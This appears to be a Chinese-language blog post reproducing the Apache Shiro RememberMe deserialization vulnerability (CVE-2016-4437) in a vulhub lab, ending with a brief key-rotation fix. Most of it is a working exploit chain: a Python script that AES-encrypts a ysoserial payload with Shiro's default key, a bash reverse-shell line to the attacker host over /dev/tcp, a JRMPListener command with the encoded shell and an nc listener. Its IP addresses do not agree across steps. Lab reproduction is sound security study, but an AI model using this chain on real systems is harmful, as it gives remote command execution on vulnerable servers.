shiro java 反序列漏洞复现

shiro java 反序列漏洞复现

打开虚拟机启动靶场/vulhub-master/shiro/CVE-2016-4437环境(省略)
推荐网址:https://www.cnblogs.com/bmjoker/articles/11650295.html

漏洞原理

大概意思是,shiro在登录处提供了Remember Me这个功能,来记录用户登录的凭证,然后shiro使用了CookieRememberMeManager类对用户的登陆凭证,也就是Remember Me的内容进行一系列处理:

使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的Remember Me内容

同时在识别用户身份的时候,需要对Remember Me的字段进行解密,解密的顺序为:

Remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化

问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的Remember Me字段发送,Shiro将RememberMe进行解密并且反序列化,最终造成反序列化漏洞。

工具利用

工具的制作利用以上原理,对poc进行一个AES加密,只要AES的加密key值对应其秘钥,就可以成功利用漏洞进行反序列化的操作。

操作

首先判断是否存在shiro反序列化漏洞:

  1. 访问虚拟机靶场环境,端口8080

  1. 打开bp,抓取登录包重放

  2. 返回值中能在set-cookie很明显看到rememberme=deleteme 这个的字段,那么很有可能存在shiro漏洞

  3. 验证,使用bp的collabotator模块给你一个检验域名

  4. 运行shiro.py根据域名生成payload,后面的网址就是上一步生成的域名,前面自己加上http://头。生成payload。(因为这个脚本只有一个key值,所以有时候试不出来。可以用另外一个工具shiro_Check.exe,里面有10个常用key值,需要自己去geihub上面下载或者私聊我。用法:xx.exe -u loudong wangzhi -d dnslog dizhi)

    python2 shiro.py "http://onf9lyddyqqo3qo20rdfbetrciic61.burpcollaborator.net"
    

  5. 复制payload,重放登录包,将payload添加在cookie值后面,记得和前面用分号隔开。

  6. 发送包,看返回值,很明显有两个cookie:rememberme

  7. 成功,查看bp的collaborator的模块的返回情况。确定是存在漏洞的。


漏洞复现:

靶机:192.168.73.131

攻击机IP:192.168.44.118

bash编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html
ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。下载命令

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

shiro_exp_payload.py:白嫖大哥的

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())
  1. 在http://www.jackson-t.ca/runtime-exec-payloads.html网站上将攻击语句进行编码,制作反弹shell的命令

    bash -i >& /dev/tcp/192.168.44.118/1069 0>&1
    

  2. 然后使用ysoseria中的jrmp监听模块,监听9999端口。并且执行反弹shell命令(将shell结果反弹给192.168.44.118/1069端口)

    java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjExNy8xMDY5DA+JjE=}|{base64,-d}|{bash,-i}"
    

    双引号括起来的就是第一步制作的反弹shell命令

  3. 在需要要反弹结果的机器上面监听1069端口(这里为了方便起见还是攻击机),等待反弹的结果(监听bash反弹shell的端口)

    nc -lvp 1069
    

  4. 使用python脚本(端口是攻击机监听的端口9999,也就是用这个端口发出攻击)

    python2 shiro_exp_payload.py 192.168.45.118:9999
    

  5. 把代码放入请求包中(还是cookie的地方),发送即可反弹shell

总结攻击思路:

  1. 首先通过shiro_exp_payload.py生成的payload访问攻击端口9999
  2. 端口9999攻击机通过CommonsCollections5执行系统命令反弹shell给需要反弹的机器(这里还是攻击机不过端口是1069)

修复建议

  1. 生成新的秘钥加密

  2. 在shiro的配置文件里,引用GenerateCipherKey的generateNewKey方法随机生成秘钥

    public class GenerateCipherKey {
    
        /**
         * 随机生成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int)
         * @return
         */
        public static byte[] generateNewKey() {
            KeyGenerator kg;
            try {
                kg = KeyGenerator.getInstance("AES");
            } catch (NoSuchAlgorithmException var5) {
                String msg = "Unable to acquire AES algorithm.  This is required to function.";
                throw new IllegalStateException(msg, var5);
            }
    
            kg.init(128);
            SecretKey key = kg.generateKey();
            byte[] encoded = key.getEncoded();
            return encoded;
        }
    }
    
posted @ 2020-06-07 18:38  admin刍狗  阅读(2917)  评论(0编辑  收藏  举报